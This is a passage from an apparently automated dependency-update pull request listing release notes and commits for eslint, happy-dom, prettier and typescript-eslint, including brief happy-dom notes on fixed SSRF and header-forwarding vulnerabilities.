href=\"https://github.com/eslint/eslint/commit/686630eb34ec1cddf399a4e6eaeebb080116a532\"\u003e\u003ccode\u003e686630e\u003c/code\u003e\u003c/a\u003e fix: \u003ccode\u003eno-loss-of-precision\u003c/code\u003e false positive with \u003ccode\u003e0.e5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21337\"\u003e#21337\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/67eb586e2eda290813b329d4f40e605ad696bc4f\"\u003e\u003ccode\u003e67eb586\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5370d7ee35a6523873f798e87f3ccc73779d5d21\"\u003e\u003ccode\u003e5370d7e\u003c/code\u003e\u003c/a\u003e docs: clarify \u003ccode\u003eone-var\u003c/code\u003e \u003ccode\u003eseparateRequires\u003c/code\u003e matches any \u003ccode\u003erequire()\u003c/code\u003e call (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21192\"\u003e#21192\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8816c1ddfcfa31318ad17cddcfb68acffa30940f\"\u003e\u003ccode\u003e8816c1d\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3d2e7cedb7409d8a2c5f2c2fafb14fa22790e40e\"\u003e\u003ccode\u003e3d2e7ce\u003c/code\u003e\u003c/a\u003e docs: fix typo in no-unused-expressions documentation (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21346\"\u003e#21346\u003c/a\u003e) (bytedoe)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/152067f0f81f08b6cce9cf8eeaddb8558731b4f6\"\u003e\u003ccode\u003e152067f\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21362\"\u003e#21362\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b56d58e0b1f3c919a6b7661254af760cdd909d6e\"\u003e\u003ccode\u003eb56d58e\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.2 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21376\"\u003e#21376\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bfaea12ddc30b458fe4cfbb6c306a62b5299c177\"\u003e\u003ccode\u003ebfaea12\u003c/code\u003e\u003c/a\u003e perf: cache normalized config globals per languageOptions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21364\"\u003e#21364\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/322209ef164e8a00a25ec7ca166969ddc853355c\"\u003e\u003ccode\u003e322209e\u003c/code\u003e\u003c/a\u003e ci: avoid Nx cache in ecosystem tests and disable failing test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21369\"\u003e#21369\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d166567901e09940c1de4ad0e95d572eeab5c927\"\u003e\u003ccode\u003ed166567\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.9 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21371\"\u003e#21371\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/29585ceba7ad35368d1b763bd1e80d899f28842c\"\u003e\u003ccode\u003e29585ce\u003c/code\u003e\u003c/a\u003e chore: update dependency eslint-plugin-expect-type to ^0.7.0 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21359\"\u003e#21359\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/39d79ba9650542ac66d585d1899304abd630c07d\"\u003e\u003ccode\u003e39d79ba\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21354\"\u003e#21354\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v9.39.5...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `happy-dom` from 20.14.5 to 21.0.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/capricorn86/happy-dom/releases\"\u003ehappy-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev21.0.3\u003c/h2\u003e\n\u003ch3\u003e:construction_worker_man: Patch fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes security vulnerability where authorization header was forwarded when redirecting - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev21.0.2\u003c/h2\u003e\n\u003ch3\u003e:construction_worker_man: Patch fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes SSRF security vulnerability by doing a target-origin bypass in the proxy server in \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/Server-Renderer\"\u003e@​happy-dom/server-renderer\u003c/a\u003e - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev21.0.1\u003c/h2\u003e\n\u003ch3\u003e:construction_worker_man: Patch fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdds aliases \u003ccode\u003e--css\u003c/code\u003e and \u003ccode\u003e--iframe\u003c/code\u003e for enabling CSS and iframe loading to \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/Server-Renderer\"\u003e@​happy-dom/server-renderer\u003c/a\u003e - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev21.0.0\u003c/h2\u003e\n\u003ch3\u003e:bomb: Breaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDisables CSS and IFrame loading by default to prevent \u003ca href=\"https://en.wikipedia.org/wiki/Server-side_request_forgery\"\u003eserver-side request forgery (SSRF)\u003c/a\u003e - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eAn attacker could embed \u003ccode\u003e\u0026lt;iframe\u0026gt;\u003c/code\u003e or \u003ccode\u003e\u0026lt;link rel=\u0026quot;stylesheet\u0026quot;\u0026gt;\u003c/code\u003e elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access.\u003c/li\u003e\n\u003cli\u003eThe settings property \u003ccode\u003edisableCSSFileLoading\u003c/code\u003e has been deprecated\u003c/li\u003e\n\u003cli\u003eAdded the new settings properties \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties\"\u003eenableCSSFileLoading\u003c/a\u003e and \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties\"\u003eenableIframePageLoading\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIf you don't believe that you are at risk, you can keep the same behavior as in \u003ccode\u003e\u0026lt;=v20.14.6\u003c/code\u003e by sending in \u003ccode\u003e{ enableCSSFileLoading: true, enableIframePageLoading: true }\u003c/code\u003e as \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings\"\u003ebroswer settings\u003c/a\u003e (e.g. \u003ccode\u003enew Window({ settings })\u003c/code\u003e);\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev20.14.6\u003c/h2\u003e\n\u003ch3\u003e:construction_worker_man: Patch fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes cookie scope forgery vulnerability - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/875ef5c647b336cc933c82426c9d780a5aab84f9\"\u003e\u003ccode\u003e875ef5c\u003c/code\u003e\u003c/a\u003e fix: Fixes security vulnerability where authorization header was forwarded wh...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/1f3ffdf634231361de1a2acb629b4fe8ee1bd85d\"\u003e\u003ccode\u003e1f3ffdf\u003c/code\u003e\u003c/a\u003e fix: Fixes SSRF security vulnerability by doing a target-origin bypass in the...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/f55c7e0852a3ecf33252d4955f260a5246f3f63e\"\u003e\u003ccode\u003ef55c7e0\u003c/code\u003e\u003c/a\u003e chore: Update security documentation (\u003ca href=\"https://redirect.github.com/capricorn86/happy-dom/issues/2509\"\u003e#2509\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/2b91e68e1748f2a1d597f650594a5c2f95b2a011\"\u003e\u003ccode\u003e2b91e68\u003c/code\u003e\u003c/a\u003e fix: Adds alias for enabling CSS and iframe loading in server-renderer (\u003ca href=\"https://redirect.github.com/capricorn86/happy-dom/issues/2503\"\u003e#2503\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74\"\u003e\u003ccode\u003e0a99c75\u003c/code\u003e\u003c/a\u003e BREAKING CHANGE: Disables CSS and IFrame loading by default (\u003ca href=\"https://redirect.github.com/capricorn86/happy-dom/issues/2502\"\u003e#2502\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3\"\u003e\u003ccode\u003ef21dbd7\u003c/code\u003e\u003c/a\u003e fix: Fixes cookie scope forgery vulnerability (\u003ca href=\"https://redirect.github.com/capricorn86/happy-dom/issues/2477\"\u003e#2477\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/capricorn86/happy-dom/compare/v20.14.5...v21.0.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.9.6 to 3.9.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.10/CHANGELOG.md#3910\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix text with \u003ccode\u003e$\u003c/code\u003e been incorrectly parsed as math syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20140\"\u003e#20140\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.9/CHANGELOG.md#399\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Don't let Liquid objects interrupt paragraphs (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20087\"\u003e#20087\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.8/CHANGELOG.md#398\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport Angular 22.2\u003c/li\u003e\n\u003cli\u003eFix regressions in v3.9\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.7/CHANGELOG.md#397\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.10\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.9...3.9.10\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\"\u003ehttps://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch1\u003e3.9.9\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.8...3.9.9\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Fix text with \u003ccode\u003e$\u003c/code\u003e been incorrectly parsed as math syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20140\"\u003e#20140\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n**Uses $FOO** from `a.sh` and `b.sh`, plus `$BAR` from `c.sh`, before anything else runs here.\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.8 --\u0026gt;\n\u003cstrong\u003eUses $FOO\u003c/strong\u003e from \u003ccode\u003ea.sh\u003c/code\u003e and \u003ccode\u003eb.sh\u003c/code\u003e, plus \u003ccode\u003e$BAR\u003c/code\u003efrom\u003ccode\u003ec.sh\u003c/code\u003e, before anything else runs here.\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.9 --\u0026gt;\n\u003cstrong\u003eUses $FOO\u003c/strong\u003e from \u003ccode\u003ea.sh\u003c/code\u003e and \u003ccode\u003eb.sh\u003c/code\u003e, plus \u003ccode\u003e$BAR\u003c/code\u003e from \u003ccode\u003ec.sh\u003c/code\u003e, before anything else runs here.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch1\u003e3.9.8\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.7...3.9.8\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Don't let Liquid objects interrupt paragraphs (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20087\"\u003e#20087\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\nIf `module` is not a [`WebAssembly.Module`](https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module) object instance, a\n{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.7 --\u0026gt;\nIf \u003ccode\u003emodule\u003c/code\u003e is not a \u003ca href=\"https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module\"\u003e\u003ccode\u003eWebAssembly.Module\u003c/code\u003e\u003c/a\u003e object instance, a\u003c/p\u003e\n\u003cp\u003e{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.8 --\u0026gt;\nIf \u003ccode\u003emodule\u003c/code\u003e is not a \u003ca href=\"https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module\"\u003e\u003ccode\u003eWebAssembly.Module\u003c/code\u003e\u003c/a\u003e object instance, a\n{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch1\u003e3.9.7\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/1172b82c295c4f889fd787dc6c78c3e194ebf353\"\u003e\u003ccode\u003e1172b82\u003c/code\u003e\u003c/a\u003e Release 3.9.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/d0142273aff2c76f8a69785d42ee2cedc4b0aaa3\"\u003e\u003ccode\u003ed014227\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on perfor...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/953b9084329dcd06ed1072a04b333f1e6e9371e8\"\u003e\u003ccode\u003e953b908\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/ad8a6bf4fa23c42fd114683fec43b28a11bd24af\"\u003e\u003ccode\u003ead8a6bf\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cdd17f2288b28b170a76416c72dac56e3ea5daff\"\u003e\u003ccode\u003ecdd17f2\u003c/code\u003e\u003c/a\u003e Release 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/dc7b8968e678f51ea00e2be3fe8c717d114691a3\"\u003e\u003ccode\u003edc7b896\u003c/code\u003e\u003c/a\u003e Disable \u003ccode\u003esingleDollarTextMath\u003c/code\u003e in \u003ccode\u003emdast-util-math\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/20140\"\u003e#20140\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/f9be58fb8ec62dd47197ea19a30aac5ad26dfee0\"\u003e\u003ccode\u003ef9be58f\u003c/code\u003e\u003c/a\u003e Git blame ignore 3.9.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/88470cb79ca3b757dd6b93906d9a992aa1a456c3\"\u003e\u003ccode\u003e88470cb\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/9559cab39eb5082c99a27e8829760c055adba841\"\u003e\u003ccode\u003e9559cab\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/4fc8ee87465de8d54780273a6996d74e8e9da827\"\u003e\u003ccode\u003e4fc8ee8\u003c/code\u003e\u003c/a\u003e Update dependents count\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.9.6...3.9.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.70.0 to 8.71.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.71.2\u003c/h2\u003e\n\u003ch2\u003e8.71.2 (2026-10-12)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] avoid false-positives when not using our parser (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12989\"\u003e#12989\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] count instantiated mapped type templates (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12974\"\u003e#12974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] ignore type-only refs for after-used (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12977\"\u003e#12977\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] parenthesize constraint in optional tuple elements (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12995\"\u003e#12995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] safe fix when the chain ends with a strict null comparison (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12805\"\u003e#12805\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e match linked packages and packages with missing version in \u003ccode\u003eTypeOrValueSpecifier\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12948\"\u003e#12948\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAbraham Guo\u003c/li\u003e\n\u003cli\u003eBrad Zacher \u003ca href=\"https://github.com/bradzacher\"\u003e\u003ccode\u003e@​bradzacher\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJosh Goldberg\u003c/li\u003e\n\u003cli\u003eVinccool96\u003c/li\u003e\n\u003cli\u003eYounsang Na \u003ca href=\"https://github.com/nayounsang\"\u003e\u003ccode\u003e@​nayounsang\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.2\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our 